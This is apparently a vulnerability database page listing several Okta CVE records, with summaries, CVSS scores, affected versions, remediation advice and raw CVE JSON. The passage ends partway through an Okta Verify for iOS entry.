          "url": "https://help.okta.com/en-us/Content/Topics/Directory/ad-agent-update.htm"
        },
        {
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://support.okta.com/help/s/article/Security-Notice-CVE-2022-1697-FAQ"
        }
      ],
      "x_legacyV4Record": {
        "CVE_data_meta": {
          "ASSIGNER": "psirt@okta.com",
          "ID": "CVE-2022-1697",
          "STATE": "PUBLIC"
        },
        "affects": {
          "vendor": {
            "vendor_data": [
              {
                "product": {
                  "product_data": [
                    {
                      "product_name": "Okta Active Directory Agent",
                      "version": {
                        "version_data": [
                          {
                            "version_value": "3.8.0, 3.9.0, 3.10.0, 3.11.0"
                          }
                        ]
                      }
                    }
                  ]
                },
                "vendor_name": "Okta"
              }
            ]
          }
        },
        "data_format": "MITRE",
        "data_type": "CVE",
        "data_version": "4.0",
        "description": {
          "description_data": [
            {
              "lang": "eng",
              "value": "Okta Active Directory Agent versions 3.8.0 through 3.11.0 installed the Okta AD Agent Update Service using an unquoted path. Note: To remediate this vulnerability, you must uninstall Okta Active Directory Agent and reinstall Okta Active Directory Agent 3.12.0 or greater per the documentation."
            }
          ]
        },
        "problemtype": {
          "problemtype_data": [
            {
              "description": [
                {
                  "lang": "eng",
                  "value": "Unquoted Search Path or Element"
                }
              ]
            }
          ]
        },
        "references": {
          "reference_data": [
            {
              "name": "https://trust.okta.com/security-advisories/okta-active-directory-agent-cve-2022-1697",
              "refsource": "MISC",
              "url": "https://trust.okta.com/security-advisories/okta-active-directory-agent-cve-2022-1697"
            },
            {
              "name": "https://help.okta.com/en-us/Content/Topics/Directory/ad-agent-update.htm",
              "refsource": "MISC",
              "url": "https://help.okta.com/en-us/Content/Topics/Directory/ad-agent-update.htm"
            },
            {
              "name": "https://support.okta.com/help/s/article/Security-Notice-CVE-2022-1697-FAQ",
              "refsource": "MISC",
              "url": "https://support.okta.com/help/s/article/Security-Notice-CVE-2022-1697-FAQ"
            }
          ]
        }
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "59b22baa-87b2-4371-8e4a-e080df12f74a",
    "assignerShortName": "Okta",
    "cveId": "CVE-2022-1697",
    "datePublished": "2022-09-06T17:18:50.000Z",
    "dateReserved": "2022-05-12T00:00:00.000Z",
    "dateUpdated": "2024-08-03T00:10:03.895Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

CVE-2022-1030 (GCVE-0-2022-1030)

Vulnerability from nvd – Published: 2022-03-23 19:46 – Updated: 2024-08-02 23:47

Summary

Okta Advanced Server Access Client for Linux and macOS prior to version 1.58.0 was found to be vulnerable to command injection via a specially crafted URL. An attacker, who has knowledge of a valid team name for the victim and also knows a valid target host where the user has access, can execute commands on the local system.

Severity

No CVSS data available.

CWE

Command Injection

Assigner

Okta

References

1 reference

URL	Tags
https://trust.okta.com/security-advisories/okta-a…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
Okta	Advanced Server Access Client	Affected: Prior to version 1.58.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T23:47:43.281Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_refsource_MISC",
              "x_transferred"
            ],
            "url": "https://trust.okta.com/security-advisories/okta-advanced-server-access-client-cve-2022-1030"
          }
        ],
        "title": "CVE Program Container"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "Advanced Server Access Client",
          "vendor": "Okta",
          "versions": [
            {
              "status": "affected",
              "version": "Prior to version 1.58.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Okta Advanced Server Access Client for Linux and macOS prior to version 1.58.0 was found to be vulnerable to command injection via a specially crafted URL. An attacker, who has knowledge of a valid team name for the victim and also knows a valid target host where the user has access, can execute commands on the local system."
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "description": "Command Injection",
              "lang": "en",
              "type": "text"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2022-03-23T19:46:14.000Z",
        "orgId": "59b22baa-87b2-4371-8e4a-e080df12f74a",
        "shortName": "Okta"
      },
      "references": [
        {
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://trust.okta.com/security-advisories/okta-advanced-server-access-client-cve-2022-1030"
        }
      ],
      "x_legacyV4Record": {
        "CVE_data_meta": {
          "ASSIGNER": "psirt@okta.com",
          "ID": "CVE-2022-1030",
          "STATE": "PUBLIC"
        },
        "affects": {
          "vendor": {
            "vendor_data": [
              {
                "product": {
                  "product_data": [
                    {
                      "product_name": "Advanced Server Access Client",
                      "version": {
                        "version_data": [
                          {
                            "version_value": "Prior to version 1.58.0"
                          }
                        ]
                      }
                    }
                  ]
                },
                "vendor_name": "Okta"
              }
            ]
          }
        },
        "data_format": "MITRE",
        "data_type": "CVE",
        "data_version": "4.0",
        "description": {
          "description_data": [
            {
              "lang": "eng",
              "value": "Okta Advanced Server Access Client for Linux and macOS prior to version 1.58.0 was found to be vulnerable to command injection via a specially crafted URL. An attacker, who has knowledge of a valid team name for the victim and also knows a valid target host where the user has access, can execute commands on the local system."
            }
          ]
        },
        "problemtype": {
          "problemtype_data": [
            {
              "description": [
                {
                  "lang": "eng",
                  "value": "Command Injection"
                }
              ]
            }
          ]
        },
        "references": {
          "reference_data": [
            {
              "name": "https://trust.okta.com/security-advisories/okta-advanced-server-access-client-cve-2022-1030",
              "refsource": "MISC",
              "url": "https://trust.okta.com/security-advisories/okta-advanced-server-access-client-cve-2022-1030"
            }
          ]
        }
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "59b22baa-87b2-4371-8e4a-e080df12f74a",
    "assignerShortName": "Okta",
    "cveId": "CVE-2022-1030",
    "datePublished": "2022-03-23T19:46:14.000Z",
    "dateReserved": "2022-03-18T00:00:00.000Z",
    "dateUpdated": "2024-08-02T23:47:43.281Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

CVE-2025-67505 (GCVE-0-2025-67505)

Vulnerability from cvelistv5 – Published: 2025-12-10 22:19 – Updated: 2025-12-11 15:38

Title

Race condition in the Okta Java SDK

Summary

Okta Java Management SDK facilitates interactions with the Okta management API. In versions 11.0.0 through 20.0.0, race conditions may arise from concurrent requests using the ApiClient class. This could cause a status code or response header from one request’s response to influence another request’s response. This issue is fixed in version 20.0.1.

Severity

8.4 (High)


                        
                          CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:L

SSVC

Exploitation: none Automatable: no Technical Impact: total

CISA Coordinator (v2.0.3)

CWE

CWE-362 - Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')

Assigner

GitHub_M

References

2 references

URL	Tags
https://github.com/okta/okta-sdk-java/security/ad…	x_refsource_CONFIRM
https://github.com/okta/okta-sdk-java/commit/abf4…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
okta	okta-sdk-java	Affected: >= 11.0.0, < 20.0.1

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2025-67505",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-12-11T15:37:59.171457Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-12-11T15:38:07.664Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "okta-sdk-java",
          "vendor": "okta",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 11.0.0, \u003c 20.0.1"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Okta Java Management SDK facilitates interactions with the Okta management API. In versions 11.0.0 through 20.0.0, race conditions may arise from concurrent requests using the ApiClient class. This could cause a status code or response header from one request\u2019s response to influence another request\u2019s response. This issue is fixed in version 20.0.1."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "HIGH",
            "attackVector": "NETWORK",
            "availabilityImpact": "LOW",
            "baseScore": 8.4,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "CHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:L",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-362",
              "description": "CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization (\u0027Race Condition\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2025-12-10T22:19:20.694Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/okta/okta-sdk-java/security/advisories/GHSA-j5gq-897m-2rff",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/okta/okta-sdk-java/security/advisories/GHSA-j5gq-897m-2rff"
        },
        {
          "name": "https://github.com/okta/okta-sdk-java/commit/abf4f128a0441f90cb7efcdcf4bde1aef8703243",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/okta/okta-sdk-java/commit/abf4f128a0441f90cb7efcdcf4bde1aef8703243"
        }
      ],
      "source": {
        "advisory": "GHSA-j5gq-897m-2rff",
        "discovery": "UNKNOWN"
      },
      "title": "Race condition in the Okta Java SDK"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2025-67505",
    "datePublished": "2025-12-10T22:19:20.694Z",
    "dateReserved": "2025-12-08T21:36:28.779Z",
    "dateUpdated": "2025-12-11T15:38:07.664Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2025-66033 (GCVE-0-2025-66033)

Vulnerability from cvelistv5 – Published: 2025-12-10 21:46 – Updated: 2025-12-11 15:40

Title

Improper Memory Cleanup in the Okta Java SDK

Summary

Okta Java Management SDK facilitates interactions with the Okta management API. In versions 21.0.0 through 24.0.0, specific multithreaded implementations may encounter memory issues as threads are not properly cleaned up after requests are completed. Over time, this can degrade performance and availability in long-running applications and may result in a denial-of-service condition under sustained load. In addition to using the affected versions, users may be at risk if they are implementing a long-running application using the ApiClient in a multi-threaded manner. This issue is fixed in version 24.0.1.

Severity

5.3 (Medium)


                        
                          CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H

SSVC

Exploitation: none Automatable: no Technical Impact: partial

CISA Coordinator (v2.0.3)

CWE

CWE-401 - Missing Release of Memory after Effective Lifetime

Assigner

GitHub_M

References

2 references

URL	Tags
https://github.com/okta/okta-sdk-java/security/ad…	x_refsource_CONFIRM
https://github.com/okta/okta-sdk-java/commit/1daa…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
okta	okta-sdk-java	Affected: >= 21.0.0, < 24.0.1

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2025-66033",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-12-11T15:40:05.587445Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-12-11T15:40:16.482Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "okta-sdk-java",
          "vendor": "okta",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 21.0.0, \u003c 24.0.1"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Okta Java Management SDK facilitates interactions with the Okta management API. In versions 21.0.0 through 24.0.0, specific multithreaded implementations may encounter memory issues as threads are not properly cleaned up after requests are completed. Over time, this can degrade performance and availability in long-running applications and may result in a denial-of-service condition under sustained load. In addition to using the affected versions, users may be at risk if they are implementing a long-running application using the ApiClient in a multi-threaded manner. This issue is fixed in version 24.0.1."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "HIGH",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 5.3,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-401",
              "description": "CWE-401: Missing Release of Memory after Effective Lifetime",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2025-12-10T22:16:50.294Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/okta/okta-sdk-java/security/advisories/GHSA-qhr6-6cgv-6638",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/okta/okta-sdk-java/security/advisories/GHSA-qhr6-6cgv-6638"
        },
        {
          "name": "https://github.com/okta/okta-sdk-java/commit/1daa9229a70fc38fb252aeaa637f82d0b0729b3f",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/okta/okta-sdk-java/commit/1daa9229a70fc38fb252aeaa637f82d0b0729b3f"
        }
      ],
      "source": {
        "advisory": "GHSA-qhr6-6cgv-6638",
        "discovery": "UNKNOWN"
      },
      "title": "Improper Memory Cleanup in the Okta Java SDK"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2025-66033",
    "datePublished": "2025-12-10T21:46:13.102Z",
    "dateReserved": "2025-11-21T01:08:02.615Z",
    "dateUpdated": "2025-12-11T15:40:16.482Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2025-7371 (GCVE-0-2025-7371)

Vulnerability from cvelistv5 – Published: 2025-07-22 15:49 – Updated: 2025-07-22 19:21

Summary

Okta On-Premises Provisioning (OPP) agents log certain user data during administrator-initiated password resets. This vulnerability allows an attacker with access to the local servers running OPP agents to retrieve user personal information and temporary passwords created during password reset. You are affected by this vulnerability if the following preconditions are met: Local server running OPP agent with versions >=2.2.1 and <= 2.3.0, and User account has had an administrator-initiated password reset while using the affected versions.

Severity

6.8 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N

SSVC

Exploitation: none Automatable: no Technical Impact: partial

CISA Coordinator (v2.0.3)

CWE

CWE-532 - Insertion of Sensitive Information into Log File

Assigner

Okta

References

1 reference

URL	Tags
https://help.okta.com/oie/en-us/content/topics/se…	patch

Impacted products

1 product

Vendor	Product	Version
Okta	Okta On-Premises Provisioning Agent	Affected: 2.2.1 , < 2.3.1 (semver)

Date Public

2025-07-22 15:45

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2025-7371",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-07-22T19:20:52.253359Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-07-22T19:21:01.131Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Okta On-Premises Provisioning Agent",
          "vendor": "Okta",
          "versions": [
            {
              "lessThan": "2.3.1",
              "status": "affected",
              "version": "2.2.1",
              "versionType": "semver"
            }
          ]
        }
      ],
      "datePublic": "2025-07-22T15:45:00.000Z",
      "descriptions": [
        {
          "lang": "en",
          "value": "Okta On-Premises Provisioning (OPP) agents log certain user data during administrator-initiated password resets. This vulnerability allows an attacker with access to the local servers running OPP agents to retrieve user personal information and temporary passwords created during password reset. You are affected by this vulnerability if the following preconditions are met: Local server running OPP agent with versions \u003e=2.2.1 and \u003c= 2.3.0, and User account has had an administrator-initiated password reset while using the affected versions."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 6.8,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "NONE",
            "privilegesRequired": "HIGH",
            "scope": "CHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N",
            "version": "3.1"
          },
          "format": "CVSS",
          "scenarios": [
            {
              "lang": "en",
              "value": "GENERAL"
            }
          ]
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-532",
              "description": "CWE-532 Insertion of Sensitive Information into Log File",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2025-07-22T15:54:09.005Z",
        "orgId": "59b22baa-87b2-4371-8e4a-e080df12f74a",
        "shortName": "Okta"
      },
      "references": [
        {
          "tags": [
            "patch"
          ],
          "url": "https://help.okta.com/oie/en-us/content/topics/settings/version_histories/ver_history_opp_agent.htm"
        }
      ],
      "solutions": [
        {
          "lang": "en",
          "value": "Upgrade the OPP agent to version 2.3.1 or higher."
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "59b22baa-87b2-4371-8e4a-e080df12f74a",
    "assignerShortName": "Okta",
    "cveId": "CVE-2025-7371",
    "datePublished": "2025-07-22T15:49:06.579Z",
    "dateReserved": "2025-07-08T21:45:15.341Z",
    "dateUpdated": "2025-07-22T19:21:01.131Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

CVE-2024-9875 (GCVE-0-2024-9875)

Vulnerability from cvelistv5 – Published: 2024-11-20 22:23 – Updated: 2024-11-22 15:25

Summary

Okta Privileged Access server agent (SFTD) versions 1.82.0 to 1.84.0 are affected by a privilege escalation vulnerability when the sudo command bundles feature is enabled. To remediate this vulnerability, upgrade the Okta Privileged Access server agent (SFTD) to version 1.87.1 or greater.

Severity

7.1 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

SSVC

Exploitation: none Automatable: no Technical Impact: total

CISA Coordinator (v2.0.3)

CWE

CWE-20 - Improper Input Validation

Assigner

Okta

References

1 reference

URL	Tags
https://help.okta.com/asa/en-us/content/topics/re…

Impacted products

2 products

Vendor	Product	Version
Okta	Okta Privileged Access Server Agent (SFTD)	Affected: 1.82.0 , < 1.84.0 (semver)
okta	privileged_access_server_agent_sftd	Affected: 1.82.0 , < 1.84.0 (semver) cpe:2.3:a:okta:privileged_access_server_agent_sftd::::::::

Date Public

2024-11-20 22:15

Credits

Okta would like to thank Anvil Secure for discovering this vulnerability.

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "affected": [
          {
            "cpes": [
              "cpe:2.3:a:okta:privileged_access_server_agent_sftd:*:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unaffected",
            "product": "privileged_access_server_agent_sftd",
            "vendor": "okta",
            "versions": [
              {
                "lessThan": "1.84.0",
                "status": "affected",
                "version": "1.82.0",
                "versionType": "semver"
              }
            ]
          }
        ],
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-9875",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-11-22T15:23:16.211195Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-11-22T15:25:43.803Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Okta Privileged Access Server Agent (SFTD)",
          "vendor": "Okta",
          "versions": [
            {
              "lessThan": "1.84.0",
              "status": "affected",
              "version": "1.82.0",
              "versionType": "semver"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "reporter",
          "value": "Okta would like to thank Anvil Secure for discovering this vulnerability."
        }
      ],
      "datePublic": "2024-11-20T22:15:00.000Z",
      "descriptions": [
        {
          "lang": "en",
          "value": "Okta Privileged Access server agent (SFTD) versions 1.82.0 to 1.84.0 are affected by a privilege escalation vulnerability when the sudo command bundles feature is enabled. To remediate this vulnerability, upgrade the Okta Privileged Access server agent (SFTD) to version 1.87.1 or greater."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "LOCAL",
            "availabilityImpact": "NONE",
            "baseScore": 7.1,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
            "version": "3.1"
          },
          "format": "CVSS",
          "scenarios": [
            {
              "lang": "en",
              "value": "GENERAL"
            }
          ]
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-20",
              "description": "CWE-20 Improper Input Validation",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2024-11-20T22:38:32.486Z",
        "orgId": "59b22baa-87b2-4371-8e4a-e080df12f74a",
        "shortName": "Okta"
      },
      "references": [
        {
          "url": "https://help.okta.com/asa/en-us/content/topics/releasenotes/advanced-server-access-release-notes.htm"
        }
      ],
      "solutions": [
        {
          "lang": "en",
          "value": "To remediate this vulnerability, upgrade the Okta Privileged Access server agent (SFTD) to version 1.87.1 or greater."
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "59b22baa-87b2-4371-8e4a-e080df12f74a",
    "assignerShortName": "Okta",
    "cveId": "CVE-2024-9875",
    "datePublished": "2024-11-20T22:23:15.230Z",
    "dateReserved": "2024-10-11T16:36:50.988Z",
    "dateUpdated": "2024-11-22T15:25:43.803Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

CVE-2024-9191 (GCVE-0-2024-9191)

Vulnerability from cvelistv5 – Published: 2024-11-01 21:21 – Updated: 2024-11-05 15:23

Summary

The Okta Device Access features, provided by the Okta Verify agent for Windows, provides access to the OktaDeviceAccessPipe, which enables attackers in a compromised device to retrieve passwords associated with Desktop MFA passwordless logins. The vulnerability was discovered via routine penetration testing. Note: A precondition of this vulnerability is that the user must be using the Okta Device Access passwordless feature. Okta Device Access users not using passwordless are not affected, and customers only using Okta Verify on platforms other than Windows, or only using FastPass are not affected.

Severity

7.1 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

SSVC

Exploitation: none Automatable: no Technical Impact: total

CISA Coordinator (v2.0.3)

CWE

CWE-276 - Incorrect Default Permissions

Assigner

Okta

References

2 references

URL	Tags
https://trust.okta.com/security-advisories/	vendor-advisory
https://help.okta.com/oie/en-us/content/topics/re…

Impacted products

2 products

Vendor	Product	Version
Okta	Okta Verify for Windows	Affected: 5.0.2 , < 5.3.3 (semver)
okta	verify	Affected: 5.0.2 , < 5.3.3 (semver) cpe:2.3:a:okta:verify::::::::

Date Public

2024-11-01 20:15

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "affected": [
          {
            "cpes": [
              "cpe:2.3:a:okta:verify:*:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "verify",
            "vendor": "okta",
            "versions": [
              {
                "lessThan": "5.3.3",
                "status": "affected",
                "version": "5.0.2",
                "versionType": "semver"
              }
            ]
          }
        ],
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-9191",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-11-05T15:22:10.829745Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-11-05T15:23:21.631Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Okta Verify for Windows",
          "vendor": "Okta",
          "versions": [
            {
              "lessThan": "5.3.3",
              "status": "affected",
              "version": "5.0.2",
              "versionType": "semver"
            }
          ]
        }
      ],
      "datePublic": "2024-11-01T20:15:00.000Z",
      "descriptions": [
        {
          "lang": "en",
          "value": "The Okta Device Access features, provided by the Okta Verify agent for Windows, provides access to the OktaDeviceAccessPipe, which enables attackers in a compromised device to retrieve passwords associated with Desktop MFA passwordless logins. The vulnerability was discovered via routine penetration testing.\n\nNote: A precondition of this vulnerability is that the user must be using the Okta Device Access passwordless feature. Okta Device Access users not using passwordless are not affected, and customers only using Okta Verify on platforms other than Windows, or only using FastPass are not affected."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "LOCAL",
            "availabilityImpact": "NONE",
            "baseScore": 7.1,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
            "version": "3.1"
          },
          "format": "CVSS",
          "scenarios": [
            {
              "lang": "en",
              "value": "GENERAL"
            }
          ]
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-276",
              "description": "CWE-276 Incorrect Default Permissions",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2024-11-01T21:21:11.040Z",
        "orgId": "59b22baa-87b2-4371-8e4a-e080df12f74a",
        "shortName": "Okta"
      },
      "references": [
        {
          "tags": [
            "vendor-advisory"
          ],
          "url": "https://trust.okta.com/security-advisories/"
        },
        {
          "url": "https://help.okta.com/oie/en-us/content/topics/releasenotes/oie-ov-release-notes.htm#panel4"
        }
      ],
      "solutions": [
        {
          "lang": "en",
          "value": "The vulnerability is present in Okta Verify versions 5.0.2 to 5.3.2 and resolved in Okta Verify for Windows version 5.3.3. To remediate this vulnerability, upgrade Okta Verify for Windows to version 5.3.3 or greater."
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "59b22baa-87b2-4371-8e4a-e080df12f74a",
    "assignerShortName": "Okta",
    "cveId": "CVE-2024-9191",
    "datePublished": "2024-11-01T21:21:11.040Z",
    "dateReserved": "2024-09-25T20:44:58.116Z",
    "dateUpdated": "2024-11-05T15:23:21.631Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

CVE-2024-10327 (GCVE-0-2024-10327)

Vulnerability from cvelistv5 – Published: 2024-10-24 20:17 – Updated: 2024-10-25 15:22

Summary

A vulnerability in Okta Verify for iOS versions 9.25.1 (beta) and 9.27.0 (including beta) allows push notification responses through the iOS ContextExtension feature allowing the authentication to proceed regardless of the user’s selection. When a user long-presses the notification banner and selects an option, both options allow the authentication to succeed. The ContextExtension feature is one of several push mechanisms available when using Okta Verify Push on iOS devices. The vulnerable flows include: * When a user is presented with a notification on a locked screen, the user presses on the notification directly and selects their reply without unlocking the device; * When a user is presented with a notification on the home screen and drags the notification down and selects their reply; * When an Apple Watch is used to reply directly to a notification. A pre-condition for this vulnerability is that the user must have enrolled in Okta Verify while the Okta customer was using Okta Classic. This applies irrespective of whether the organization has since upgraded to Okta Identity Engine.

Severity

8.1 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

SSVC

Exploitation: none Automatable: no Technical Impact: total

CISA Coordinator (v2.0.3)

CWE

CWE-287 - Improper Authentication

Assigner

Okta

References

2 references

URL	Tags
https://trust.okta.com/security-advisories/okta-v…	vendor-advisory
https://help.okta.com/en-us/content/topics/releas…

Impacted products

2 products

Vendor	Product	Version
Okta	Okta Verify for iOS	Affected: 9.25.1 (semver) Affected: 9.27.0 (semver)
